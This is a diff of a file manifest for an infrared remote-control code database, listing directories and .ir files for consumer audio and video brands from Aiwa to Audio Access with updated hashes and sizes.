-F:a2af17fea780098e4666ba0007e51ab9:2203:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir -F:d3eae206a8b78aa4355b920c0f5578ef:1825:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir -F:148c8a53f9222425ae5b250bd08f67ed:2398:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir -F:0218139ab2e22884ebf5ef76a2274f03:5422:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir -F:0250ac664668aacca107c86056cb41a4:1745:infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir -F:d5f4d5fd3f4bf0e0ccd04424951cf7ca:1911:infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir -F:461c3c3e93ace2de2c5c168c9a877c82:3787:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir -F:b53a3d6d68b6700f0f8c28726cacef63:3859:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir -F:c6d8bc9f8c204b8df2ff95cbc97df470:3460:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir -F:0089b0ee050fc0cb5e844ac479f31df4:3221:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir -F:48777caefb175817e989e786cfc700b0:6307:infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir -F:d0bbc8046f64ef1e9432b9814e261aac:1000:infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir +F:82ef9cc2a9debaf6b1abd7e2ef87d6c7:1490:infrared/_CSV-IRDB_/Aiwa/CD Player/118,0.ir +F:b9a72bdd49262c7b5032a7919689eab3:2955:infrared/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir +F:1505a830d6250ec544e4291d4563a491:1987:infrared/_CSV-IRDB_/Aiwa/Mini System/110,0.ir +F:f74c4bf9a6586b6d55ecf29c5a463dfa:763:infrared/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir +F:55754da92c9f5366b960e31752f0a7b2:597:infrared/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir +F:fcbaf60d7a5a58fb960cc838e5c04594:986:infrared/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir +F:dbd655c3019dfa4ec4a897961abd6fdf:217:infrared/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir +F:1b7a781b80e5d8753441271fe7cb4dd3:3933:infrared/_CSV-IRDB_/Aiwa/Unknown/127,0.ir +F:12e738473521d200c4f27295393f03b2:2992:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir +F:3ee39408ff0a3dc6f1bf513146e3b636:1882:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir +F:fff3213348957af4380ec5303cf56822:3307:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir +F:29c1cc1278f2ca7c6d419106b7abd211:1447:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir +F:f5aa59c5dbaf76ec2d7defccd0847d81:1114:infrared/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir +F:e733905deb3b1de6ce181783e54aca54:3750:infrared/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir +F:f9af41457f2619e0b4077e18d059880d:2241:infrared/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir +F:6cf81b73221005049b0f53cff8b7a02f:2244:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir +F:f1d22ea256f43b1fc9136522e7f8b412:2956:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir +F:f4f91434f754d7c4a5bc9554546d77e6:3218:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir +F:30cdb21d6541a55ae339c69c6f31d241:2871:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir +F:499aa0b62347e256ef342f49e3b7471a:2242:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir +F:a52da94c5965182daadc74888d259bf5:3308:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir +F:5e36000f6a17a4e9517b02ffea89299b:1518:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir +F:f59434841c68353d7792ab96a1f4864e:2606:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir +F:9fd68183eca026d5ab5cb89ef26e4dbb:3494:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir +F:6d1ab29c20c252a848607f03ceed8a58:2860:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir +F:1e882853549f8a3b2fee831f7fcc07ee:3131:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir +F:781043582ff4cfc658c5b966bce7b7e4:2766:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir +F:c6bef074ae8172fb83615840e5c2ad46:2462:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir +F:fb670cc94d51e21b8c52586b89b4f0e3:3284:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir +F:fd4d972ad91b3a6df57e9d005da56d2b:3205:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir +F:04ba55af1f56027cc3ca9ef155a49c59:3384:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir +F:7da7f7fac941282ca4645bd0d3d1ad3b:3645:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir +F:5b620096d3163f3d08c07c900eeef14e:3657:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir +F:2bf6aeed4ec8b3c63b5f42e0b5f58e26:1036:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir +F:31af76c743fb3dd36af083bcf3201ab0:3641:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir +F:22fd8f647b291bc7d6578dd26dd3dd00:2063:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir +F:662e589d64b2e93224fe5e9672266d83:1709:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir +F:89b821ae2897907f1a5acf856a253ddd:2246:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir +F:3d28db3294877fccf09fa463cab8d317:5084:infrared/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir +F:2d9d82c88dc7bf4b819d1ff699f94126:1635:infrared/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir +F:6df332b28fff521bf50aafc5c26499af:1789:infrared/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir +F:b3dadab00ed0e0667cd9e3295e18eb98:3545:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir +F:7782a412747908540a6cd77e835ad145:3617:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir +F:db3e19d1eda1bb05b6b2b1f497700e78:3236:infrared/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir +F:a0d977c5cdf37977eaa2c7b93c31f958:3015:infrared/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir +F:b27e73bb6395321efaf598e0574d0c36:5909:infrared/_CSV-IRDB_/Aiwa/VCR/127,0.ir +F:41bc61f2a0b1a850737c1d56a34605c2:938:infrared/_CSV-IRDB_/Aiwa/VCR/130,111.ir D:infrared/_CSV-IRDB_/Akai/CD Player D:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100 D:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A @@ -1230,21 +1230,21 @@ D:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79 D:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E D:infrared/_CSV-IRDB_/Akai/Unknown_akai D:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37 -F:e1edb3e6f8c5d9495b07c7db359d0e70:1930:infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir -F:393e4e9c56a5e850dd40291bc2b3a1fb:2892:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir -F:5c288ef5ef96e33209dbfb05bdf8ad88:3167:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir -F:1e485f1fbdc73c78e2769fed5bd93aa2:1559:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir -F:101ea65f87b0da10083ad1e87bd89292:4155:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir -F:d289862b7aa012ee18e57c72f65f8285:2992:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir -F:dd531ae76fe107b5add34f3d46c1ffc8:4142:infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir -F:fbde7e111a118b2f24b919fe31e563b1:3270:infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir -F:9fbf33592f773d73f6482f95c12345f1:2109:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir +F:18916a5d1fcfa2e9a85614cfa16976fb:1802:infrared/_CSV-IRDB_/Akai/CD Player/141,-1.ir +F:427d02e30dda349460f4ef2a65689d1c:2710:infrared/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir +F:94c1d36a7f57fcadf56a93e0e7e50b68:2967:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir +F:a8ae0d7cb145310b9c403fc86c9858ce:1461:infrared/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir +F:f0169d8203ca84165bdc7f001a1f3d66:3889:infrared/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir +F:49d465fec23431fceabcb3092d580f57:2804:infrared/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir +F:4916955358207311aff2fc1039172549:3882:infrared/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir +F:82f3bd4927810a72c9b0432b6f98fcf5:3064:infrared/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir +F:def9b3f7e82d6e8ef64fc6c4410a489b:1975:infrared/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir D:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio -F:8567dc6c3f909594f5af907630de8ce2:1874:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir +F:dab8d72d8aed6ecf5412affea80bfa8b:1752:infrared/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir D:infrared/_CSV-IRDB_/Aopen/Media PC D:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470 -F:724473ced29d73f3c67ec7fd9451a689:4293:infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir -F:7152e47b1996e6d76fd7857c504bf85f:4425:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir +F:cb87742f4fe045fee44c45dbe725ec27:4015:infrared/_CSV-IRDB_/Aopen/Media PC/4,-1.ir +F:9cda908771545e237350d33a569d54bc:4147:infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir D:infrared/_CSV-IRDB_/Apex/DVD Player D:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A D:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200 @@ -1253,30 +1253,30 @@ D:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2 D:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5 D:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200 D:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600 -F:138c3303d1d79631cf605955c101008d:4219:infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir -F:8f38e547bc9eae01d3040cd7b8c78cfb:4872:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir -F:f3564ef1f8186fe9f684c9a34a261d9c:4294:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir -F:6554aef7f7726d7476e2a7965d220982:4287:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir -F:953426b951dff4e4c1b6d7c2f02d6861:2773:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir -F:7e3ca89146c2db52c10a246067abeaea:3055:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir -F:39dcb82bc7760034e650c3d8769f0c81:4487:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir -F:6edb220cad2bf52f8ad727d765f87eef:4567:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir +F:56f37d100cf6e41f6e6063be30591c71:3941:infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir +F:e5984e30b6733024454216843c26331b:4564:infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir +F:351647ef08a107bd78338758756ae51e:4022:infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir +F:e90844fef854c1c3dfcff6dc776a6844:4015:infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir +F:877a2b887ea78e9e88ee327e4b73fad1:2597:infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir +F:6eeef2b21c82bb240e5e66d9b39ccfbf:2861:infrared/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir +F:7cff37b4d40a064c73738a10cb9d429d:4203:infrared/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir +F:d8064d538477ff4955f17db9d3aec31e:4277:infrared/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir D:infrared/_CSV-IRDB_/Apple/Apple TV D:infrared/_CSV-IRDB_/Apple/Computer D:infrared/_CSV-IRDB_/Apple/Digital Jukebox D:infrared/_CSV-IRDB_/Apple/MP3 Player D:infrared/_CSV-IRDB_/Apple/Unknown_CD D:infrared/_CSV-IRDB_/Apple/iPod -F:8bcf48d45a46ea94d569390e52ef7873:2474:infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir -F:332afcdc985b5f8b226525bf5afb04c6:1468:infrared/_CSV-IRDB_/Apple/Computer/238,135.ir -F:552e6c558d2685e321ca8b4d1d6b025f:1225:infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir -F:816fe4d5918ad01a4d14ae3be147187e:2172:infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir -F:a86fbae2c2d389f11838a37536311fb0:977:infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir -F:41446d94d70b9d0e653934de1ac1befc:3615:infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir -F:e161a509de168f8cf5387192e51910cd:605:infrared/_CSV-IRDB_/Apple/iPod/238,135.ir +F:00225c84a46fc041a9a968328d25afee:2316:infrared/_CSV-IRDB_/Apple/Apple TV/238,135.ir +F:8c7a98cad01dc6b3f9cc99cdebb14c6a:1376:infrared/_CSV-IRDB_/Apple/Computer/238,135.ir +F:746b019e212a75faed5d4770dbfb8b6d:1145:infrared/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir +F:65ce6074b898b687fc4e94344928363b:2038:infrared/_CSV-IRDB_/Apple/MP3 Player/1,222.ir +F:52a4af5750c5e27dd094f9384a54e44c:915:infrared/_CSV-IRDB_/Apple/MP3 Player/238,135.ir +F:b83e25226145112556928d46dd074d2a:3385:infrared/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir +F:1ebbe72c133b9a8d1e936627d50b8632:567:infrared/_CSV-IRDB_/Apple/iPod/238,135.ir D:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier -F:a9f8461e0ecbfafb26f62c3ed569710b:2247:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir -F:33b513af8b9bde66daf41d6d868e8c2c:7297:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir +F:d0d50c0fd30beb72ea9f877b94a6eba6:2113:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir +F:d454da21f81c2779cf10b4689b35badb:6839:infrared/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir D:infrared/_CSV-IRDB_/Arcam/CD Player D:infrared/_CSV-IRDB_/Arcam/DVD Player D:infrared/_CSV-IRDB_/Arcam/Music System @@ -1286,215 +1286,215 @@ D:infrared/_CSV-IRDB_/Arcam/Surround Receiver D:infrared/_CSV-IRDB_/Arcam/Tuner D:infrared/_CSV-IRDB_/Arcam/Unknown_AV200 D:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam -F:506143e79aa970e14be2f64dccba7671:224:infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir -F:4a613e863bc1bcffc0ac8bfc95f3b9bc:126:infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir -F:c273c621936d8dea257cb46b4a8b7c9d:2137:infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir -F:e2bde3689e36191277eb600ab1528690:393:infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir -F:c08bfce029d7d73dd74230ba0fd7ce33:20749:infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir -F:4010d0a4c791dd3e22ee8fa2d3e7de4f:6967:infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir -F:3ce26f9990c8a871e197c9b5427bf6ee:2548:infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir -F:01cdf1d842924b5aa354c04ef3d2b076:2593:infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir -F:3cb3b8c5ff3b7a78ea4ec388ee5a1317:6308:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir -F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir -F:60c6bca4e6a53ad7f2484a3126fca930:19833:infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir -F:eddf52dfc03902a6586992be09248f3c:5677:infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir -F:5cdfb85ca6aa38d8e19540d7e8dcda43:1337:infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir -F:1b6ef1d1837404856770ad2a15566639:2624:infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir -F:a26c1e108a15c1c5abf13ff26eb6058f:703:infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir -F:4bc2f58d488d26f1a629f8ff85da3e0e:126:infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir -F:16936058f88a96ab28ccc3e37bda1c45:2093:infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir -F:0c7124876d36bdd09d6ef568c764e8be:423:infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir -F:76e4150457e3c235647927fd41b95a1d:1869:infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir -F:754fe69dcc163f6bcab7b0489e731239:2594:infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir -F:bed0337d90f8a2789ad4df275cd9ea8b:1841:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir +F:a1a854fa96d47beabeb18a7bd5c5bdcc:210:infrared/_CSV-IRDB_/Arcam/CD Player/0,-1.ir +F:6491f729f0d191e5416f0c1f8a831c09:118:infrared/_CSV-IRDB_/Arcam/CD Player/16,-1.ir +F:3a9a813c322ef066a93eeae1709dbd8b:1997:infrared/_CSV-IRDB_/Arcam/CD Player/20,-1.ir +F:d3e65259c1f22c67916c5ad5fe26c92e:367:infrared/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir +F:02c21af846b7df178bec30bbb81b489d:19415:infrared/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir +F:ced80155dd95eed4a6176c5cdb55cde1:6533:infrared/_CSV-IRDB_/Arcam/Music System/16,-1.ir +F:74cb163882bc1de5fce72348ca64ef20:2384:infrared/_CSV-IRDB_/Arcam/Music System/17,-1.ir +F:0b6a39c3a1e4809f9440cea9605dbf15:2429:infrared/_CSV-IRDB_/Arcam/Music System/20,-1.ir +F:cf817365cb1f6cb26c762544f694ccde:5916:infrared/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir +F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Arcam/Receiver/0,-1.ir +F:e828b53570fe95cc8d1dfd30301562ae:18595:infrared/_CSV-IRDB_/Arcam/Receiver/16,-1.ir +F:85b12fbc2172373e6722091d464ee192:5339:infrared/_CSV-IRDB_/Arcam/Receiver/17,-1.ir +F:d4c3182003b54fc915a72cc09ef94b86:1251:infrared/_CSV-IRDB_/Arcam/Receiver/19,-1.ir +F:6e060f2ae553ab4555c7705444dd4d96:2466:infrared/_CSV-IRDB_/Arcam/Receiver/23,-1.ir +F:c754cbbd2f86e4d0a850a1f7eabbf6b0:659:infrared/_CSV-IRDB_/Arcam/Receiver/25,-1.ir +F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Arcam/Surround Receiver/0,-1.ir +F:c9b1fc2cdf942e7e9dc57a07eae68d54:1959:infrared/_CSV-IRDB_/Arcam/Surround Receiver/16,-1.ir +F:f57b2e4d9b8240892cd87faf4507901a:397:infrared/_CSV-IRDB_/Arcam/Surround Receiver/25,-1.ir +F:407379f24c8ce8c566da49a15e3df85d:1753:infrared/_CSV-IRDB_/Arcam/Tuner/17,-1.ir +F:b4e358af5c953b786872d0f62ffbdb9e:2430:infrared/_CSV-IRDB_/Arcam/Unknown_AV200/16,-1.ir +F:de5bf991bee3ce808524070cc384410e:1725:infrared/_CSV-IRDB_/Arcam/Unknown_Arcam/16,-1.ir D:infrared/_CSV-IRDB_/Architectural Audio/Amplifier D:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver -F:65d92ee45b8069ebff64fb98ff1eaad2:420:infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir -F:266863686aaba20a2776556f1cf3f971:2964:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir +F:54b85f880279b460fab4d33cee347b97:394:infrared/_CSV-IRDB_/Architectural Audio/Amplifier/132,132.ir +F:74a6e5a3ed9497e4cfa5389129c1ee01:2776:infrared/_CSV-IRDB_/Architectural Audio/Multi-Zone Receiver/130,130.ir D:infrared/_CSV-IRDB_/Aristona/Unknown_5525 D:infrared/_CSV-IRDB_/Aristona/Unknown_9067 -F:bec66cbbec8ada0affe76223570cdd79:3454:infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir -F:40fd8e1aae34468c9902d05b513169ed:6462:infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir +F:6776830e27439d4cc10971f95f7fe627:3236:infrared/_CSV-IRDB_/Aristona/Unknown_5525/0,-1.ir +F:7b88305d8b803ee4b2ba0bc379dbd279:6052:infrared/_CSV-IRDB_/Aristona/Unknown_9067/5,-1.ir D:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox -F:82a3872f23b6a07d5c2c7c871eca49e9:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir -F:e04dc295ed1248c1f44eb5a163b51305:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir -F:dc0546471250a2249883d92c2c2607e0:2929:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir +F:f3a2feb58ca214fce8aa45b44147b596:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/103,-1.ir +F:9ee314c6f584979eaffcb7e81316d1e1:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/39,-1.ir +F:9d7b937deb65f592cc12e740c87f607c:2735:infrared/_CSV-IRDB_/Arrakis Systems/CD Jukebox/71,-1.ir D:infrared/_CSV-IRDB_/Askey/Unknown_AS-218 -F:ab881034583409140b5b378cb5890bb4:2871:infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir +F:8fd522c47e8e7a49fa35feabc828ca8e:2689:infrared/_CSV-IRDB_/Askey/Unknown_AS-218/134,107.ir D:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital -F:cedb214492c64b3413fd2d9c857989af:5459:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir +F:33444615468e4146c2900cae6961f47c:5115:infrared/_CSV-IRDB_/Aspire Digital/Unknown_Digital/8,-1.ir D:infrared/_CSV-IRDB_/Astro/Satellite D:infrared/_CSV-IRDB_/Astro/Unknown_ASR340 -F:14180e7bc09473b41b516e51411ba165:3843:infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir -F:8b62432d941a8c0b38b30dbb621c15be:2699:infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir +F:a6fe8b5aa66e3ee8aa90e4d0cdf880c0:3595:infrared/_CSV-IRDB_/Astro/Satellite/8,-1.ir +F:18c0b43edda7d67b2b7177699aadf89e:2529:infrared/_CSV-IRDB_/Astro/Unknown_ASR340/0,253.ir D:infrared/_CSV-IRDB_/Asus/Unknown_Digital D:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502 D:infrared/_CSV-IRDB_/Asus/Unknown_TVBox -F:ee1e6075d199bcf849cdd12472deded9:1107:infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir -F:a4219b28c62df1ced9d0051e47807fd3:4404:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir -F:8646aeb7a01ebee1767a2995077a8bf0:3058:infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir +F:f927d841cfd50ff072fa6a2f1cfd6110:1039:infrared/_CSV-IRDB_/Asus/Unknown_Digital/0,239.ir +F:3504fc437c3e3bc5a571b7bf20f8287d:4126:infrared/_CSV-IRDB_/Asus/Unknown_RC1974502/4,15.ir +F:d3e1570dd317b8fe36587f7f89724107:2864:infrared/_CSV-IRDB_/Asus/Unknown_TVBox/134,107.ir D:infrared/_CSV-IRDB_/Aten/Unknown_VS-431 -F:67e870d50e1881da13b83c15c6ec922c:595:infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir +F:0695f02d13f83f6a870534a874466ccb:557:infrared/_CSV-IRDB_/Aten/Unknown_VS-431/0,-1.ir D:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH -F:d3d55f38be3a867827e5cbb0e726341a:3059:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir +F:fcfff864a3143246558e79f8d660fbae:2865:infrared/_CSV-IRDB_/Atlanta DTH/Unknown_DTH/5,-1.ir D:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor -F:e4f19863ae1f451d955997f3023863bc:2019:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir -F:b39676baf2447217d408df363b8a63c7:1531:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir -F:801a09b66791af852874e748847ea48a:219:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir +F:36af4c2848b045329e3f09e33fab4cc3:1885:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/131,95.ir +F:79030bffdcf6067974913410601d55d7:1433:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/64,64.ir +F:e5df802b67b8c056b37e195d80628ce4:205:infrared/_CSV-IRDB_/Atlantic Technology/Surround Processor/7,-1.ir D:infrared/_CSV-IRDB_/Atlas/Unknown_8776 -F:4b4dee4db0ae2356dcddea6efe7745e4:2735:infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir +F:b0a858af43d4f0870c4cf85020922edf:2553:infrared/_CSV-IRDB_/Atlas/Unknown_8776/8,0.ir D:infrared/_CSV-IRDB_/Atlona/Matrix Switcher D:infrared/_CSV-IRDB_/Atlona/Switcher -F:089e1994ea2b6b927b5d2430ebe5a485:6247:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir -F:e40d976bef77eed15040f73868ad7c5b:1795:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir -F:a72450e57a8cf2eb32cef9b5e6df3308:483:infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir +F:bcd9535f2a3e99ba0f9182e90bf67390:5861:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/0,-1.ir +F:ccdfb4c15e764965c69b49f3c964a9dc:1691:infrared/_CSV-IRDB_/Atlona/Matrix Switcher/134,107.ir +F:7d25e4657cf54c65b5769924a6099f57:451:infrared/_CSV-IRDB_/Atlona/Switcher/134,107.ir D:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier D:infrared/_CSV-IRDB_/Audio Access/Zone Controller -F:f93d7e339cd17596d276eba01b0f49b5:6435:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir -F:816215268675de035382462c4018c4de:1615:infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir -F:d489343637037dcd4aa1e5f5cd758603:224:infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir +F:f611fa34e0260a543695de5a77c6a422:6013:infrared/_CSV-IRDB_/Audio Access/Pre-Amplifier/133,83.ir +F:905327b49e7351f64f70c9a5a9fe4523:1511:infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir 